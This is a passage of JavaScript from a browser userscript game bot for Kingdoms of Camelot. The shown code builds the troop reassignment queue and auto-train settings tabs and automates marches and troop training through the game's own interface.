		row.insertCell(3).innerHTML = '<input type=checkbox disabled '+(SendMilitiaman ? 'CHECKED ' : '')+'><br>'+(SendMilitiaman ?addCommas(Militiaman): '');
		row.insertCell(4).innerHTML = '<input type=checkbox disabled '+(SendScout ? 'CHECKED ' : '')+'><br>'+(SendScout ?addCommas(Scout): '');
		row.insertCell(5).innerHTML = '<input type=checkbox disabled '+(SendPikeman ? 'CHECKED ' : '')+'><br>'+(SendPikeman ?addCommas(Pikeman): '');
		row.insertCell(6).innerHTML = '<input type=checkbox disabled '+(SendSwordsman ? 'CHECKED ' : '')+'><br>'+(SendSwordsman ?addCommas(Swordsman): '');
		row.insertCell(7).innerHTML = '<input type=checkbox disabled '+(SendArcher ? 'CHECKED ' : '')+'><br>'+(SendArcher ?addCommas(Archer): '');
		row.insertCell(8).innerHTML = '<input type=checkbox disabled '+(SendCavalry ? 'CHECKED ' : '')+'><br>'+(SendCavalry ?addCommas(Cavalry): '');
		row.insertCell(9).innerHTML = '<input type=checkbox disabled '+(SendHeavyCavalry ? 'CHECKED ' : '')+'><br>'+(SendHeavyCavalry ?addCommas(HeavyCavalry): '');
		row.insertCell(10).innerHTML = '<input type=checkbox disabled '+(SendSupplyWagon ? 'CHECKED ' : '')+'><br>'+(SendSupplyWagon ?addCommas(SupplyWagon): '');
		row.insertCell(11).innerHTML = '<input type=checkbox disabled '+(SendBallista ? 'CHECKED ' : '')+'><br>'+(SendBallista ?addCommas(Ballista): '');
		row.insertCell(12).innerHTML = '<input type=checkbox disabled '+(SendBatteringRam ? 'CHECKED ' : '')+'><br>'+(SendBatteringRam ?addCommas(BatteringRam): '');
		row.insertCell(13).innerHTML = '<input type=checkbox disabled '+(SendCatapult ? 'CHECKED ' : '')+'><br>'+(SendCatapult ?addCommas(Catapult): '');
		row.insertCell(14).innerHTML = '<input type=checkbox disabled '+(SendBloodThorn ? 'CHECKED ' : '')+'><br>'+(SendBloodThorn ?addCommas(BloodThorn): '');
		row.insertCell(15).innerHTML = '<input type=checkbox disabled '+(SendExecutioner ? 'CHECKED ' : '')+'><br>'+(SendExecutioner ?addCommas(Executioner): '');
		row.insertCell(16).innerHTML = '<input type=checkbox disabled '+(SendSiegeTower ? 'CHECKED ' : '')+'><br>'+(SendSiegeTower ?addCommas(SiegeTower): '');
		row.insertCell(17).innerHTML = '<input type=checkbox disabled '+(SendFlameArcher ? 'CHECKED ' : '')+'><br>'+(SendFlameArcher ?addCommas(FlameArcher): '');
		row.insertCell(18).innerHTML = '<input type=checkbox disabled '+(SendHussar ? 'CHECKED ' : '')+'><br>'+(SendHussar ?addCommas(Hussar): '');
		row.insertCell(19).innerHTML = '<input type=checkbox disabled '+(SendHalberdier ? 'CHECKED ' : '')+'><br>'+(SendHalberdier ?addCommas(Halberdier): '');
		row.insertCell(20).innerHTML = '<input type=checkbox disabled '+(SendOnager ? 'CHECKED ' : '')+'><br>'+(SendOnager ?addCommas(Onager): '');
		row.insertCell(21).innerHTML = '<input type=checkbox disabled '+(SendSaboteur ? 'CHECKED ' : '')+'><br>'+(SendSaboteur ?addCommas(Saboteur): '');
		row.insertCell(22).innerHTML = '<input type=checkbox disabled '+(SendSorcerer ? 'CHECKED ' : '')+'><br>'+(SendSorcerer ?addCommas(Sorcerer): '');
		row.insertCell(23).innerHTML = '<input type=checkbox disabled '+(SendStealer ? 'CHECKED ' : '')+'><br>'+(SendStealer ?addCommas(Stealer): '');
		row.insertCell(24).innerHTML = '<a class="button14" id="reasscancel_' + queueId + '"><span>'+translate("Delete")+'</span></a>';
		document.getElementById('reasscancel_' + queueId).addEventListener('click', function(){
			t.cancelQueueElement(queueId);
		}, false);
	},
     
	_addTabHeader: function() {
		var t = Tabs.transport;
		var row = document.getElementById('pbRoutesQueue').insertRow(0);
		row.vAlign = 'top';
		row.insertCell(0).innerHTML = translate("From");

		row.insertCell(1).innerHTML = translate("To");
		row.insertCell(2).innerHTML = translate("Supp");
		row.insertCell(3).innerHTML = translate("MM");
		row.insertCell(4).innerHTML = translate("Scout");
		row.insertCell(5).innerHTML = translate("Pike");
		row.insertCell(6).innerHTML = translate("Sword");
		row.insertCell(7).innerHTML = translate("Arch");
		row.insertCell(8).innerHTML = translate("Cav");
		row.insertCell(9).innerHTML = translate("HC");
		row.insertCell(10).innerHTML = translate("Wags");
		row.insertCell(11).innerHTML = translate("Balls");
		row.insertCell(12).innerHTML = translate("Rams");
		row.insertCell(13).innerHTML = translate("Cats");
		row.insertCell(14).innerHTML = translate("Blood");
		row.insertCell(15).innerHTML = translate("Exec");
		row.insertCell(16).innerHTML = translate("Siege");
		row.insertCell(17).innerHTML = translate("Flame");
		row.insertCell(18).innerHTML = translate("Hussar");
		row.insertCell(19).innerHTML = translate("Halb");
		row.insertCell(20).innerHTML = translate("Onager");
		row.insertCell(21).innerHTML = translate("Sabo");
		row.insertCell(22).innerHTML = translate("Sorcerer");
		row.insertCell(23).innerHTML = translate("Stealer");
		row.insertCell(24).innerHTML = "&nbsp;&nbsp;&nbsp;&nbsp;";
	},   
       
	cancelQueueElement: function(queueId){
		var t = Tabs.Reassign;
		var queueId = parseInt(queueId);
		t.reassignRoutes.splice(queueId, 1);
		t.showReassignRoutes();
	},
       
	saveReassignRoutes: function(){
		var t = Tabs.Reassign;
		var serverID = getServerId();
		GM_setValue('reassignRoutes_' + serverID, JSON2.stringify(t.reassignRoutes));
	},
    
	readReassignRoutes: function(){
		var t = Tabs.Reassign;
		var serverID = getServerId();
		s = GM_getValue('reassignRoutes_' + serverID);
		if (s != null) {
			route = JSON2.parse(s);
			for (k in route)
				t.reassignRoutes[k] = route[k];
		}
		try{
			t.checkcitymoved();
		} catch (e) {
			//Do nothing
		}
	},
	
	checkcitymoved: function(){
		var t = Tabs.Reassign;
		for(var i=0; i < t.reassignRoutes.length; i++){
			logit(Cities.byID[t.reassignRoutes[i].target_city]);
			if(t.reassignRoutes[i].target_city == 'undefined')
				break;
			if(t.reassignRoutes[i].target_x != Cities.byID[t.reassignRoutes[i].target_city].x)
				t.reassignRoutes[i].target_x = Cities.byID[t.reassignRoutes[i].target_city].x;
			if(t.reassignRoutes[i].target_y != Cities.byID[t.reassignRoutes[i].target_city].y)
				t.reassignRoutes[i].target_y = Cities.byID[t.reassignRoutes[i].target_city].y;
		}
	},
    
	saveReassignState: function(){
		var t = Tabs.Reassign;
		var serverID = getServerId();
		GM_setValue('reassignState_' + serverID, JSON2.stringify(t.reassignState));
	},
    
	readReassignState: function(){
		var t = Tabs.Reassign;
		var serverID = getServerId();
		s = GM_getValue('reassignState_' + serverID);
		if (s != null) {
			state = JSON2.parse(s);
			for (k in state)
				t.reassignState[k] = state[k];
		}
	},
		
	toggleReassignState: function(obj){
		obj = document.getElementById('pbReassignState');
		var t = Tabs.Reassign;
		if (t.reassignState.running == true) {
			t.reassignState.running = false;
			obj.value = "Reassign = OFF";
			if(document.getElementById('ReasignToggleTab'))document.getElementById('ReasignToggleTab').innerHTML = '<span style="color: #CCC">Reassign: Off</span>';
			clearTimeout(t.checkdoreassigntimeout);
			t.count = 0;
		}
		else {
			t.reassignState.running = true;
			t.processing = false;
			obj.value = "Reassign = ON";
			if(document.getElementById('ReasignToggleTab'))document.getElementById('ReasignToggleTab').innerHTML = '<span style="color: #FFFF00">Reassign: On</span>';
			Options.lastreassign = 0; // force to go immediately if toggled on.
			saveOptions();    
		}
	},
    
	checkdoReassign: function(){
		var t = Tabs.Reassign;
		t.processing = true;
		t.doReassign(t.count);
		t.count++;
        if(t.count < t.reassignRoutes.length && t.reassignState.running){
			t.checkdoreassigntimeout = setTimeout(t.checkdoReassign, 5000); // 5 secs between each reassign
		}
		else {
			var now = new Date().getTime()/1000.0;
			now = now.toFixed(0);
			Options.lastreassign = now;
			saveOptions();    
			t.count = 0;
			t.processing = false;
		}
	},
    
	doReassign: function(count){
		var t = Tabs.Reassign;
		var params = unsafeWindow.Object.clone(unsafeWindow.g_ajaxparams);
		if(t.reassignRoutes.length==0) return;
		var citytotal=0;
		var totalsend=0;
		var city = t.reassignRoutes[count]["city"];
		var cityID = 'city' + city;
		var xcoord = t.reassignRoutes[count]["target_x"];
		var ycoord = t.reassignRoutes[count]["target_y"];
		for (var ui in unsafeWindow.cm.UNIT_TYPES){
			i = unsafeWindow.cm.UNIT_TYPES[ui];
			params["u"+i] = 0;
		}	

		if(!Cities.byID[city]) return;
		var marching = getMarchInfo(cityID);
        
        var maxsend = March.getMaxSize(city);
        totalsend=0;
        
		var slots = Number(March.getEmptySlots(cityID.split("city")[1]));
		if (parseInt(slots) <=0){ if (DEBUG_TRACE) {logit('Reassign - No free slots');} return; } // no free slots - don't bother server!
		var troopidx = [];
		for (var i in troops) { troopidx.push(i); }
		for (var j=troopidx.length-1; j>=0; j--) { // reverse order
			var i = troopidx[j];
            var citytroops = Seed.units[cityID]['unt'+i];
            var marchtroops = marching.marchUnits["unt"+i];
            citytotal = parseInt(citytroops) + parseInt(marchtroops);
            if(t.reassignRoutes[count]['Send'+troops[i]]==false) {continue; }
			if(!Seed.cityData.city[t.reassignRoutes[count].target_city].isPrestigeCity && ((i==13) || (i==14) || (i==15))) {continue; }
            if(citytotal > t.reassignRoutes[count][troops[i]]){
                var sendtroops = parseInt(citytotal) - parseInt(t.reassignRoutes[count][troops[i]]);
                if (parseInt(sendtroops) > parseInt(citytroops)) sendtroops = citytroops;
                if (parseInt(sendtroops) < 0) sendtroops = 0;
				params["u"+i] = sendtroops;
                totalsend += sendtroops;
            }
            if(totalsend > maxsend){
                totalsend -= sendtroops;
                params["u"+i] = parseInt(maxsend-totalsend);
                totalsend = maxsend;
				t.count = t.count - 1; // more to send?, do this reassign route again (until RP full?)...
                break;
            }
		}
        for (var t=0; t< Seed.cities.length;t++) {
            if ( parseInt(Seed.cities[t][0]) == city) var cityname = Seed.cities[t][1];
        }
        params.cid= city;
        params.type = "5";
        params.kid=0;
        params.xcoord = xcoord;
        params.ycoord = ycoord;
		if (totalsend >0) {
			March.addMarch(params, function(rslt){
				if(rslt.ok){
					actionLog('Reassign   From: ' + cityname + "   To: " + xcoord + ',' + ycoord + "    ->   Troops: " + totalsend);
				} else { //onFailure
					actionLog('REASSIGN FAIL :' + cityname + ' - ' + rslt.error_code + ' -  ' + rslt.msg + ' -  ' + rslt.feedback);
                 }
			});
        }      
    },
    
	show: function(){
		var t = Tabs.Reassign;
	},

	hide: function(){
		var t = Tabs.Reassign;
	},

	onUnload: function(){
		var t = Tabs.Reassign;
		if (!ResetAll) t.saveReassignRoutes();
		if (!ResetAll) t.saveReassignState();
	},
}

/************************  AutoTrain Tab ************************/
Tabs.AutoTrain = {
  tabOrder: 120,
  tabLabel: unsafeWindow.g_js_strings.commonstr.train,
  myDiv: null,
  city:0,
  gamble : {"1":{"min":"5","max":"15","cost":"2"},"2":{"min":"10","max":"25","cost":"4"}},
  tsok: true,
  lasttsok: true,
  
  init: function(div){
    var t = Tabs.AutoTrain;
    t.myDiv = div;
    t.city = 0;
    t.nextcity();
    
    var m = '<DIV class=pbStat>AUTO TRAIN</div><TABLE width=100% height=0% class=pbTab><TR><TD width=200></td>';
        m += '<TD align=center><INPUT id=pbAutoTrainState type=submit value="'+translate("AutoTrain")+' = '+ (TrainOptions.Running?'ON':'OFF')+'"></td>';
        m += '<TD align=right><INPUT id=pbShowTrainHelp type=submit value='+translate("HELP")+'></td></tr></table>';
        m += '<table width=100% height=0% class=pbTab><tr><td align=left><INPUT id=pbatTR type=checkbox '+(TrainOptions.tr?'CHECKED':'')+'> '+translate('Only train when training speed is at least')+' <INPUT id=pbatTRset type=text size=3 maxlength=4 value="'+ TrainOptions.trset +'">&nbsp;%</td><td align=right>Current Training Speed:&nbsp;<span id=currts></span>&nbsp;&nbsp;</td>';
        m += '</tr></table></div>';
        m += '<DIV class=pbStat>TRAINING OPTIONS</div><TABLE width=100% height=0% class=pbTab><TR align="center"><td>';

	for (i=0;i<Seed.cities.length;i++){
		var citynum = Seed.cities[i][0];
        city = i+1;
		rowclass = "";
		if (i < Seed.cities.length-1) rowclass="border-bottom:1px solid #888888;";
		m += '<TABLE width=100% class=pbTab><TR align="left">';
		m+='<TD align=center valign=top width=30px style="padding-top:6px;'+rowclass+'"><INPUT type=checkbox class='+city+' id="SelectCity'+city+'"></td>';
        m+='<TD style="'+rowclass+'"><TABLE><TR>';
        m+='<TD><B>'+ Seed.cities[i][1] +'</b></td>';
        m+='<TD width=150px><SELECT class='+city+' id="TroopsCity'+city+'"><option value="Select">--Select--</options>';
		for (y in unsafeWindow.unitcost) {
			var faux = 0;
			var uc = unsafeWindow.unitcost[y];
            if (matTypeof(uc[8]) == 'object'){
				for (k in uc[8]){
					var b = getCityBuilding (Seed.cities[i][0], k.substr(1));
					if (b.maxLevel < uc[8][k][1]){
						faux = 1;
						break;
					}
				}
			}
			if (matTypeof(uc[9]) == 'object'){
				for (k in uc[9]){
					if (parseInt(Seed.tech['tch'+k.substr(1)]) < uc[9][k][1]){
						faux = 1;
						break;
					}
				}
			}

            if(y == "unt13") faux = 1;
            if(y == "unt14") faux = 1;
            if(y == "unt15") faux = 1;

            if(y == "unt17") faux = 1;
            if(y == "unt18") faux = 1;
            if(y == "unt21") faux = 1;
            if(y == "unt22") faux = 1;
            if(y == "unt24") faux = 1;
            
			if (faux==0)
				m+='<option value="'+y.substr(3)+'">'+unsafeWindow.unitcost[y][0]+'</option>';
		}
		
        m+='</select></td>';
        m+='<TD width=100px>Min: <INPUT class='+city+' id=threshold'+city+' type=text size=6 maxlength=6 value="'+ TrainOptions.Threshold[city]+'"\></td>';
        m+='<TD width=130px><INPUT type=checkbox class='+city+' id="SelectMax'+city+'"> '+translate("Max")+': <INPUT class='+city+' id=max'+city+' type=text size=6 maxlength=6 value="'+ TrainOptions.Max[city]+'"\></td>';
        m += '<TD><SELECT class='+city+' id="TrainSpeedItem_'+city+'">\
        <option value=0><CENTER>--- '+unsafeWindow.g_js_strings.commonstr.item+' '+unsafeWindow.g_js_strings.commonstr.speedup+' ---</center></option>\
        <option value=36>'+unsafeWindow.itemlist.i36.name+'</option>\
        <option value=37>'+unsafeWindow.itemlist.i37.name+'</option>\
        <option value=38>'+unsafeWindow.itemlist.i38.name+'</option></select></td>';
        m += '<TD><SELECT class='+city+' id="TrainSpeed_'+city+'">\
        <option value=0><CENTER>--- Gamble ---</center></option>\
        <option value=1>'+ t.gamble[1].cost+'x res ('+ t.gamble[1].min+' - '+t.gamble[1].max+'%)</option>\
        <option value=2>'+ t.gamble[2].cost+'x res ('+ t.gamble[2].min+' - '+t.gamble[2].max+'%)</option></select></td>';
        m+='</tr>';
        if(Seed.cityData.city[citynum].prestigeInfo.blessings) {
			if(Seed.cityData.city[citynum].prestigeInfo.blessings.indexOf(11) != -1) {
				m += '<tr><td>&nbsp;</td><td align=left><INPUT class='+city+' id=AsEnabled'+city+' type=checkbox '+(TrainOptions.AsEnabled[city]?'CHECKED':'')+'> Train '+unsafeWindow.unitcost['unt13'][0]+'</td><td>'+translate("Min")+': <INPUT class='+city+' id=AsTroops'+city+' type=text size=6 maxlength=6 value="'+TrainOptions.AsTroops[city]+'"></td><td><INPUT type=checkbox class='+city+' id="AsSelectMax'+city+'"> '+translate("Max")+': <INPUT class='+city+' id=Asmax'+city+' type=text size=6 maxlength=6 value="'+ TrainOptions.AsMax[city]+'"\></td></tr>';
			};
			if(Seed.cityData.city[citynum].prestigeInfo.blessings.indexOf(21) != -1) {
				m += '<tr><td>&nbsp;</td><td align=left><INPUT class='+city+' id=AsEnabled'+city+' type=checkbox '+(TrainOptions.AsEnabled[city]?'CHECKED':'')+'> Train '+unsafeWindow.unitcost['unt14'][0]+'</td><td>'+translate("Min")+': <INPUT class='+city+' id=AsTroops'+city+' type=text size=6 maxlength=6 value="'+TrainOptions.AsTroops[city]+'"></td><td><INPUT type=checkbox class='+city+' id="AsSelectMax'+city+'"> '+translate("Max")+': <INPUT class='+city+' id=Asmax'+city+' type=text size=6 maxlength=6 value="'+ TrainOptions.AsMax[city]+'"\></td></tr>';
			};
			if(Seed.cityData.city[citynum].prestigeInfo.blessings.indexOf(31) != -1) {
				m += '<tr><td>&nbsp;</td><td align=left><INPUT class='+city+' id=AsEnabled'+city+' type=checkbox '+(TrainOptions.AsEnabled[city]?'CHECKED':'')+'> Train '+unsafeWindow.unitcost['unt15'][0]+'</td><td>'+translate("Min")+': <INPUT class='+city+' id=AsTroops'+city+' type=text size=6 maxlength=6 value="'+TrainOptions.AsTroops[city]+'"></td><td><INPUT type=checkbox class='+city+' id="AsSelectMax'+city+'"> '+translate("Max")+': <INPUT class='+city+' id=Asmax'+city+' type=text size=6 maxlength=6 value="'+ TrainOptions.AsMax[city]+'"\></td></tr>';
			};
		}; 
        m += '<tr><TD align=right>Resources:&nbsp;</td>';
		m += '<td colspan=4><table class=pbTab><tr>';
        m += '<TD><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/food_30.png"></td>';
        m += '<TD><INPUT class='+city+' id="KeepFood'+city+'" type=text size=11 maxlength=12 value="'+ TrainOptions.Keep[city]['Food']+'"\></td>';
        m += '<TD><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/wood_30.png"></td>';
        m += '<TD><INPUT class='+city+' id="KeepWood'+city+'" type=text size=11 maxlength=12 value="'+ TrainOptions.Keep[city]['Wood']+'"\></td>';
        m += '<TD><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/stone_30.png"></td>';
        m += '<TD><INPUT class='+city+' id="KeepStone'+city+'" type=text size=11 maxlength=12 value="'+ TrainOptions.Keep[city]['Stone']+'"\></td>';
        m += '<TD><img src="'+http+'kabam1-a.akamaihd.net/silooneofcamelot//fb/e2/src/img/iron_30.png"></td>';
        m += '<TD><INPUT class='+city+' id="KeepOre'+city+'" type=text size=11 maxlength=12 value="'+ TrainOptions.Keep[city]['Ore']+'"\></td>';
        m +='<td>&nbsp;<SELECT class='+city+' id="Resource'+city+'"><option value="true">'+translate("Keep")+'</options>';
        m += '<option value="false">'+translate("Use")+'</option>';
        m += '</select></td>';
		m += '</tr></table></td>'
		m += '<TD>'+translate("Use Workers")+': ';
        m+='<SELECT class='+city+' id="workers'+city+'"><option value="0">0%</options>';
        m+='<option value="25">25%</options>';
        m+='<option value="50">50%</options>';
        m+='<option value="75">75%</options>';
        m+='<option value="100">100%</options></select>';
        m+='</td>';
        m+='</tr></table>';        
		m+='</td></tr></table>';
    }
	m+='</td></tr></table>';
      
        t.myDiv.innerHTML = m;
      
	var ts = Math.floor(equippedthronestats(77));
	document.getElementById("currts").innerHTML = ts+'%';
	t.tsok = (!TrainOptions.tr || (ts >= Number(TrainOptions.trset)));
	if (t.tsok != t.lasttsok) {
		if (!t.tsok) {
			unsafeWindow.jQuery('#currts').css('color', 'red');
		}	
		else {	
			unsafeWindow.jQuery('#currts').css('color', 'black');
		}
	}		
	t.lasttsok = t.tsok;
      
    for (i=0;i<Seed.cities.length;i++){
        city = i+1;
        document.getElementById('TroopsCity'+city).value = TrainOptions.Troops[city];
        document.getElementById('SelectCity'+city).checked = TrainOptions.Enabled[city];
        document.getElementById('Resource'+city).value = TrainOptions.Resource[city];
        document.getElementById('SelectMax'+city).checked = TrainOptions.SelectMax[city];
        document.getElementById('workers'+city).value = TrainOptions.Workers[city];
        document.getElementById('TrainSpeed_'+city).value = TrainOptions.Gamble[city];
        document.getElementById('TrainSpeedItem_'+city).value = TrainOptions.Item[city];
        if (!TrainOptions.SelectMax[city]) document.getElementById('max'+city).disabled=true;
        if(document.getElementById('AsEnabled'+city)) {
         document.getElementById('AsEnabled'+city).checked = TrainOptions.AsEnabled[city];
         document.getElementById('AsTroops'+city).value = TrainOptions.AsTroops[city];
         document.getElementById('AsSelectMax'+city).checked = TrainOptions.AsSelectMax[city];
         if (!TrainOptions.AsSelectMax[city]) document.getElementById('Asmax'+city).disabled=true;
      };
    }
       
    document.getElementById('pbShowTrainHelp').addEventListener('click', function(){ t.helpPop(this); }, false);
       
    document.getElementById('pbAutoTrainState').addEventListener('click', function(){
        t.toggleAutoTrainState(this);
    }, false);

    document.getElementById('pbatTR').addEventListener ('change', function() {
        TrainOptions.tr = this.checked;
        saveTrainOptions();
        }, false);

    document.getElementById('pbatTRset').addEventListener ('change', function() {
        TrainOptions.trset = this.value;
        saveTrainOptions();
        }, false);

    for(var k=1; k<=Seed.cities.length; k++){
		document.getElementById('threshold'+k).addEventListener('change', function(e){
			if (isNaN(e.target.value)) e.target.value=0 ;
			TrainOptions.Threshold[e.target['className']] = e.target.value;
			saveTrainOptions();
		}, false);
		document.getElementById('SelectMax'+k).addEventListener('change', function(e){
			t.AF_TU_Change(e.target['className'],document.getElementById('TroopsCity'+e.target['className']).value);
			TrainOptions.SelectMax[e.target['className']] = e.target.checked;
			if (!TrainOptions.SelectMax[e.target['className']]){
				document.getElementById('max'+e.target['className']).disabled=true;
			} else {
				document.getElementById('max'+e.target['className']).disabled=false;
			}
			saveTrainOptions();
		}, false);
		document.getElementById('max'+k).addEventListener('change', function(e){
			TrainOptions.Max[e.target['className']] = e.target.value;
			saveTrainOptions();
		}, false);
		document.getElementById('workers'+k).addEventListener('change', function(e){
			TrainOptions.Workers[e.target['className']] = e.target.value;
			t.AF_TU_Change(e.target['className'],document.getElementById('TroopsCity'+e.target['className']).value);
			TrainOptions.Max[e.target['className']] = document.getElementById('max'+e.target['className']).value;
			TrainOptions.AsMax[e.target['className']] = document.getElementById('asmax'+e.target['className']).value;
			saveTrainOptions();
		}, false);
		document.getElementById('Resource'+k).addEventListener('change', function(e){
			TrainOptions.Resource[e.target['className']] = e.target.value;
			saveTrainOptions();
		}, false);
		document.getElementById('TrainSpeed_'+k).addEventListener('change', function(e){
			TrainOptions.Gamble[e.target['className']] = e.target.value;
			saveTrainOptions();
		}, false);
		document.getElementById('TrainSpeedItem_'+k).addEventListener('change', function(e){
			TrainOptions.Item[e.target['className']] = e.target.value;
			saveTrainOptions();
		}, false);
		document.getElementById('SelectCity'+k).addEventListener('change', function(e){
			TrainOptions.Enabled[e.target['className']] = e.target.checked;
			saveTrainOptions();
		}, false);
		document.getElementById('TroopsCity'+k).addEventListener('change', function(e){
			t.AF_TU_Change(e.target['className'],e.target.value);
			TrainOptions.Troops[e.target['className']] = e.target.value;
			TrainOptions.Max[e.target['className']] = document.getElementById('max'+e.target['className']).value;
			saveTrainOptions();
		}, false);
		document.getElementById('KeepFood'+k).addEventListener('change', function(e){
			if (isNaN(e.target.value)) e.target.value=0 ;
			TrainOptions.Keep[e.target['className']]['Food'] = e.target.value;
			saveTrainOptions();
		}, false);
		document.getElementById('KeepWood'+k).addEventListener('change', function(e){
			if (isNaN(e.target.value)) e.target.value=0 ;
			TrainOptions.Keep[e.target['className']]['Wood'] = e.target.value;
			saveTrainOptions();
		}, false);
		document.getElementById('KeepStone'+k).addEventListener('change', function(e){
			if (isNaN(e.target.value)) e.target.value=0 ;
			TrainOptions.Keep[e.target['className']]['Stone'] = e.target.value;
			saveTrainOptions();
		}, false);
		document.getElementById('KeepOre'+k).addEventListener('change', function(e){
			if (isNaN(e.target.value)) e.target.value=0 ;
			TrainOptions.Keep[e.target['className']]['Ore'] = e.target.value;
			saveTrainOptions();
		}, false);
		if(document.getElementById('AsEnabled'+k)) {  
			document.getElementById('AsEnabled'+k).addEventListener('change', function(e){
				TrainOptions.AsEnabled[e.target['className']] = e.target.checked;
				saveTrainOptions();
			}, false);
			document.getElementById('AsTroops'+k).addEventListener('change', function(e){
				if (isNaN(e.target.value)) e.target.value=0 ;
				TrainOptions.AsTroops[e.target['className']] = e.target.value;
				saveTrainOptions();
			}, false);
			document.getElementById('Asmax'+k).addEventListener('change', function(e){
				TrainOptions.AsMax[e.target['className']] = e.target.value;
				saveTrainOptions();
			}, false);
			document.getElementById('AsSelectMax'+k).addEventListener('change', function(e){
				t.AF_TU_Change(e.target['className'],document.getElementById('TroopsCity'+e.target['className']).value);
				TrainOptions.AsSelectMax[e.target['className']] = e.target.checked;
				if (!TrainOptions.AsSelectMax[e.target['className']]){
					document.getElementById('Asmax'+e.target['className']).disabled=true;
				} else {
					document.getElementById('Asmax'+e.target['className']).disabled=false;
				}
				saveTrainOptions();
			}, false);
		};
	}
  },
  
  helpPop : function (){
    var helpText = '<BR><DL><dt>Autotrain:<dd><LI>Toggle the box in front of each row to enable autotrain for that city.</dd>\
        <dd><LI>For each city, select a troop type.</dd>\
        <dd><LI>(If ascended troops seelcted, they take priority over regular troops)</dd>\
        <dd><LI>Fill in the minimum troops to trigger the training.</dd>\
        <dd><LI>Fill in the maximum troops to be trained each batch, if required.</dd>\
        <dd><LI>Choose Item and Gamble speed ups.</dd>\
        <dt>Fill in Resource Management fields:</dt>\
          <dd><LI>KEEP: Autotrain will keep this amount of the resources available in the city.</dd>\
          <dd><LI>USE: Autotrain will only use this amount of resources each batch to train troops.</dd>\
          <dd><LI>Select percentage of workers available to be trained.</dd>\
        <dt>Turn it on and off: </dt>\
          <dd><LI>Hit the Auto Train toggle button.</dd></ul>\
          <dd><LI>Train only when the correct throne room is selected by setting the training speed checkbox and field.</dd></ul>';
    var pop = new pbPopup ('giftHelp', 0, 0, 550, 280, true);
    pop.centerMe (mainPop.getMainDiv());  
    pop.getMainDiv().innerHTML = helpText;
    pop.getTopDiv().innerHTML = '<CENTER><B>Power Bot '+translate("Help")+'</b>:  '+translate("Auto Train")+'</center>';
    pop.show (true);
  },
  
  toggleAutoTrainState: function(obj){
    var t = Tabs.AutoTrain;
    if (TrainOptions.Running == true) {
        TrainOptions.Running = false;
        obj.value = translate("AutoTrain = OFF");
    }
    else {
        TrainOptions.Running = true;
        obj.value = translate("AutoTrain = ON");
        t.nextcity();
    }
    saveTrainOptions();
  },
    
  show: function(){
    var t = Tabs.AutoTrain;
  },
  hide: function(){
    var t = Tabs.AutoTrain;
  },
      AF_TU_Change: function(numcity,unit) {
        var t = Tabs.AutoTrain;
        var cityId = Cities.cities[numcity-1].id
        var coutenpop= unsafeWindow.unitcost['unt'+unit][6];
        var X = Seed.citystats['city'+cityId].pop[1];//max pop
        var Y = unsafeWindow.seed.citystats["city"+cityId].pop[3];//workers
        var Q= coutenpop;
        var Z = document.getElementById('workers'+numcity).value/100;
        if (Z == 0)
			var ttmax=parseIntNan((X-Y)/Q);
        else if (Z == 1)
			var ttmax=parseIntNan(X/Q);
        else
			var ttmax=parseIntNan((X-(Y*Z))/Q);
		document.getElementById("max"+numcity).value=ttmax;
		TrainOptions.Max[numcity] = ttmax;
		saveTrainOptions();

		if(Seed.cityData.city[cityId].isPrestigeCity) {
			var punit = false;
			if(getCityBuilding(cityId, 22).count)
				punit = 13;
			if(getCityBuilding(cityId, 24).count)
				punit = 14;
			if(getCityBuilding(cityId, 26).count)
				punit = 15;
			if(punit) {   
				var pcoutenpop= unsafeWindow.unitcost['unt'+punit][6];
				var pQ= pcoutenpop;
				if (Z == 0)
					var asttmax = parseIntNan((X-Y)/pQ);
				else if (Z == 1)
					var asttmax = parseIntNan(X/pQ);
				else
					var asttmax = parseIntNan((X-(Y*Z))/pQ);
				document.getElementById("Asmax"+numcity).value=asttmax;
				TrainOptions.AsMax[numcity] = asttmax;
				saveTrainOptions();
			}	
		}		

    },
  checkidlepopulation : function(cityId){
    var t = Tabs.AutoTrain;
	var wrkrs = parseInt(Seed.citystats['city'+cityId].pop[3]); // what do you do if workers is NaN? Train nothing!
	if (isNaN(wrkrs) && (TrainOptions.Workers[t.city] != 100)) return false; // unless it doesn't matter...
    t.idle = parseIntNan(Seed.citystats['city'+cityId].pop[0]) - parseIntNan(wrkrs);
    if (TrainOptions.Workers[t.city] != 0)
        t.idle = t.idle + Math.floor(TrainOptions.Workers[t.city]*parseIntNan(wrkrs)/100);
    return t.idle>0?true:false;
  },
  checktrainslots : function(cityId,prest){
    var t = Tabs.AutoTrain;
    if(!prest) {
    t.barracks = getCityBuilding(cityId, 13).count;
    t.slots = 0;
    for (k in Seed.queue_unt['city'+cityId])
    if(Seed.queue_unt['city'+cityId][k][7] == false)
    t.slots += 1;
    t.empty = parseInt(t.barracks - t.slots);
    return t.empty>0?true:false;
     } else {
        t.barracks = Number(getCityBuilding(cityId, 22).count + getCityBuilding(cityId, 24).count + getCityBuilding(cityId, 26).count);//24 fey barracks, 22 druid barracks 26 briton barracks
    t.slots = 0;
    for (k in Seed.queue_unt['city'+cityId])
    if(Seed.queue_unt['city'+cityId][k][7] == true)
    t.slots += 1;
    t.empty = parseInt(t.barracks - t.slots);
    return t.empty>0?true:false;
     }
  },
  checkresources : function(cityId){
    var t = Tabs.AutoTrain;
    t.food = parseInt((Seed.resources['city'+cityId].rec1[0]/3600) - TrainOptions['Keep'][t.city]['Food']);
    t.wood = parseInt((Seed.resources['city'+cityId].rec2[0]/3600) - TrainOptions['Keep'][t.city]['Wood']);
    t.stone = parseInt((Seed.resources['city'+cityId].rec3[0]/3600) - TrainOptions['Keep'][t.city]['Stone']);
    t.ore = parseInt((Seed.resources['city'+cityId].rec4[0]/3600) - TrainOptions['Keep'][t.city]['Ore']);
    if(t.food>0 && t.wood>0 && t.stone>0 && t.ore>0){
        return true;
    }
    return false;
  },
  trainamt : function(cityId, unitId){
    var t = Tabs.AutoTrain;
    if(!unitId || unitId<1) return false;
    var cost = unsafeWindow.Object.clone(unsafeWindow.unitcost['unt'+ unitId]);
    var gamble = (parseInt(TrainOptions.Gamble[t.city])>0)?t.gamble[TrainOptions.Gamble[t.city]].cost:1;
    t.amt = Math.floor(t.idle/cost[6]);
    for(var rs=1; rs<5; rs++)
        cost[rs] *= gamble;
    if ((t.food/cost[1]) < t.amt) t.amt = Math.floor(t.food/cost[1]);
